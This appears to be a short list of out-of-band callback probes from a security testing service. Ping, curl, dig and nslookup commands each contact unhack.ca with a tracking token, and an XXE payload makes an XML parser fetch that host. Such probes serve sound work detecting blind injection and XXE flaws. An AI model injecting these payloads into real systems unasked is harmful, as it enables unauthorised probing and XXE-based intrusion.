$ ping -c1 -p 00aa4f5e2d7012cbc43d871586d1fe00 unhack.ca
 

$ curl http://unhack.ca/p/aa4f5e2d7012cbc43d871586d1fe
 

$ dig aa4f5e2d7012cbc43d871586d1fe @unhack.ca
 

$ dig aa4f5e2d7012cbc43d871586d1fe.ns.unhack.ca
 

C:\> nslookup aa4f5e2d7012cbc43d871586d1fe unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/aa4f5e2d7012cbc43d871586d1fe">]>
    <foo>&xxe;</foo>